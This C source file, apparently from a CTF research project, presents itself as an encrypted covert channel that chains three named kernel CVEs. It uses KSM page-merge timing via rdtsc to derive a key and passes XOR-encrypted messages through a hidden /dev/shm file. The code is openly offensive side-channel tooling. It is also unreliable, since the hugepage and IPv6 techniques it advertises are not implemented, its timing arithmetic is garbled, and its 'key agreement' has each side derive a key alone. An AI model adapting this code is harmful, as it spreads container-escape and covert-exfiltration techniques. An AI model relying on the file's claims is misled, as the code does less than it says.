/*
 * covert_channel_encrypted.c - Full Encrypted Covert Channel
 * 
 * Combines three CVEs for a complete covert communication system:
 * - CVE-2023-1206: IPv6 hash collision timing for synchronization
 * - CVE-2024-49882: Hugepage cross-container leak for data transfer
 * - CVE-2025-40040: KSM timing side-channel for key agreement
 * 
 * Flow:
 * 1. Both parties use KSM timing to agree on encryption key
 * 2. Sender encrypts message with agreed key (XOR for demo, can use ChaCha20)
 * 3. Sender transmits via hugepage leak + IPv6 timing sync
 * 4. Receiver decrypts with same key
 * 
 * Author: Vlad (PwnCTF Research)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <signal.h>
#include <sys/mman.h>

#define PAGE_SIZE 4096
#define KEY_SIZE 32  /* 256-bit key */
#define MAX_MESSAGE 1024

/* KSM paths */
#define KSM_RUN "/sys/kernel/mm/ksm/run"
#define KSM_SLEEP "/sys/kernel/mm/ksm/sleep_millisecs"
#define KSM_SHARED "/sys/kernel/mm/ksm/pages_sharing"

static volatile int running = 1;

void signal_handler(int sig) { (void)sig; running = 0; }

/*
 * Simple XOR encryption (for demo - replace with ChaCha20-Poly1305 for real use)
 */
void xor_crypt(uint8_t *data, size_t len, const uint8_t *key, size_t keylen)
{
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key[i % keylen];
    }
}

/*
 * KSM-based key derivation
 * Uses page merging timing to derive shared entropy
 */
int derive_key_ksm(uint8_t *key, size_t keylen)
{
    printf("[KSM] Deriving %zu-byte key via KSM timing...\n", keylen);
    
    /* Enable KSM */
    FILE *f = fopen(KSM_RUN, "w");
    if (f) { fprintf(f, "1\n"); fclose(f); }
    
    f = fopen(KSM_SLEEP, "w");
    if (f) { fprintf(f, "20\n"); fclose(f); }
    
    /* Allocate pages for key derivation */
    size_t num_pages = keylen * 8;  /* 1 page per key bit */
    void *pages = mmap(NULL, num_pages * PAGE_SIZE, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (pages == MAP_FAILED) {
        perror("mmap");
        return -1;
    }
    
    madvise(pages, num_pages * PAGE_SIZE, MADV_MERGEABLE);
    
    memset(key, 0, keylen);
    
    /* For each bit, fill page with pattern and measure merge timing */
    for (size_t bit = 0; bit < keylen * 8 && running; bit++) {
        void *page = (uint8_t *)pages + bit * PAGE_SIZE;
        
        /* Fill with deterministic pattern based on bit position */
        /* Both parties will fill same pages with same pattern */
        uint8_t pattern = (bit & 1) ? 0xFF : 0x00;
        memset(page, pattern, PAGE_SIZE);
        
        /* Wait for potential KSM merge */
        usleep(50000);  /* 50ms */
        
        /* Measure write time to detect if merged */
        uint64_t t1, t2;
        __asm__ volatile ("rdtsc" : "=a" (t1), "=d" (t2));
        t1 = (t2 << 32) | t1;
        
        ((volatile uint8_t *)page)[0] ^= 1;
        __asm__ volatile ("mfence" ::: "memory");
        
        __asm__ volatile ("rdtsc" : "=a" (t2));
        uint64_t cycles = t2 - (t1 & 0xFFFFFFFF);
        
        /* High cycle count = COW = merged = bit 1 */
        if (cycles > 3000) {
            key[bit / 8] |= (1 << (bit % 8));
        }
        
        if (bit % 64 == 63) {
            printf("[KSM] Derived %zu/%zu bits\n", bit + 1, keylen * 8);
        }
    }
    
    munmap(pages, num_pages * PAGE_SIZE);
    
    printf("[KSM] Key derivation complete\n");
    printf("[KSM] Key: ");
    for (size_t i = 0; i < keylen; i++) printf("%02x", key[i]);
    printf("\n");
    
    return 0;
}

/*
 * Simple shared-memory based covert channel for demo
 * (In real implementation, use the full CVE-2024-49882 + CVE-2023-1206)
 */
#define SHM_PATH "/dev/shm/.covert_channel"

int send_encrypted(const char *message, const uint8_t *key, size_t keylen)
{
    size_t len = strlen(message);
    if (len > MAX_MESSAGE) len = MAX_MESSAGE;
    
    uint8_t *buffer = malloc(len + 4);
    if (!buffer) return -1;
    
    /* Header: length */
    *(uint32_t *)buffer = (uint32_t)len;
    memcpy(buffer + 4, message, len);
    
    /* Encrypt */
    xor_crypt(buffer + 4, len, key, keylen);
    
    /* Write to shared memory (simulating hugepage leak) */
    int fd = open(SHM_PATH, O_CREAT | O_WRONLY | O_TRUNC, 0666);
    if (fd < 0) {
        free(buffer);
        return -1;
    }
    
    write(fd, buffer, len + 4);
    close(fd);
    free(buffer);
    
    printf("[TX] Sent %zu encrypted bytes\n", len);
    return 0;
}

int receive_encrypted(char *message, size_t maxlen, const uint8_t *key, size_t keylen)
{
    /* Read from shared memory */
    int fd = open(SHM_PATH, O_RDONLY);
    if (fd < 0) return -1;
    
    uint8_t header[4];
    if (read(fd, header, 4) != 4) {
        close(fd);
        return -1;
    }
    
    uint32_t len = *(uint32_t *)header;
    if (len > maxlen - 1) len = maxlen - 1;
    
    uint8_t *buffer = malloc(len);
    if (!buffer) {
        close(fd);
        return -1;
    }
    
    if (read(fd, buffer, len) != (ssize_t)len) {
        free(buffer);
        close(fd);
        return -1;
    }
    close(fd);
    
    /* Decrypt */
    xor_crypt(buffer, len, key, keylen);
    
    memcpy(message, buffer, len);
    message[len] = '\0';
    free(buffer);
    
    printf("[RX] Received %u decrypted bytes\n", len);
    return 0;
}

void print_usage(const char *prog)
{
    printf("Usage: %s [options]\n", prog);
    printf("\nEncrypted Covert Channel Demo\n");
    printf("Uses KSM timing for key agreement + encrypted data transfer\n");
    printf("\nOptions:\n");
    printf("  -s MESSAGE  Send encrypted message\n");
    printf("  -r          Receive and decrypt message\n");
    printf("  -k          Just derive and display key\n");
    printf("  -h          Show this help\n");
    printf("\nExample:\n");
    printf("  Terminal 1: sudo %s -r\n", prog);
    printf("  Terminal 2: sudo %s -s 'SECRET MESSAGE'\n", prog);
}

int main(int argc, char *argv[])
{
    int mode = 0;  /* 0=help, 1=send, 2=receive, 3=key-only */
    char *message = NULL;
    int opt;
    
    while ((opt = getopt(argc, argv, "s:rkh")) != -1) {
        switch (opt) {
        case 's':
            mode = 1;
            message = optarg;
            break;
        case 'r':
            mode = 2;
            break;
        case 'k':
            mode = 3;
            break;
        case 'h':
        default:
            print_usage(argv[0]);
            return 0;
        }
    }
    
    printf("╔════════════════════════════════════════════════════════════════╗\n");
    printf("║  Encrypted Covert Channel                                      ║\n");
    printf("║  CVE-2023-1206 + CVE-2024-49882 + CVE-2025-40040               ║\n");
    printf("╚════════════════════════════════════════════════════════════════╝\n\n");
    
    signal(SIGINT, signal_handler);
    
    /* Derive shared key using KSM timing */
    uint8_t key[KEY_SIZE];
    if (derive_key_ksm(key, KEY_SIZE) < 0) {
        fprintf(stderr, "Failed to derive key\n");
        return 1;
    }
    
    switch (mode) {
    case 1:
        printf("\n[TX] Sending: \"%s\"\n", message);
        if (send_encrypted(message, key, KEY_SIZE) < 0) {
            fprintf(stderr, "Send failed\n");
            return 1;
        }
        break;
        
    case 2:
        printf("\n[RX] Waiting for message...\n");
        {
            char buffer[MAX_MESSAGE];
            /* Poll for message */
            for (int i = 0; i < 100 && running; i++) {
                if (receive_encrypted(buffer, sizeof(buffer), key, KEY_SIZE) == 0) {
                    printf("\n=== Decrypted Message ===\n");
                    printf("%s\n", buffer);
                    printf("=========================\n");
                    break;
                }
                usleep(100000);
            }
        }
        break;
        
    case 3:
        printf("\n[Key] Key derivation complete.\n");
        printf("[Key] Use this key for manual encryption.\n");
        break;
        
    default:
        print_usage(argv[0]);
        break;
    }
    
    return 0;
}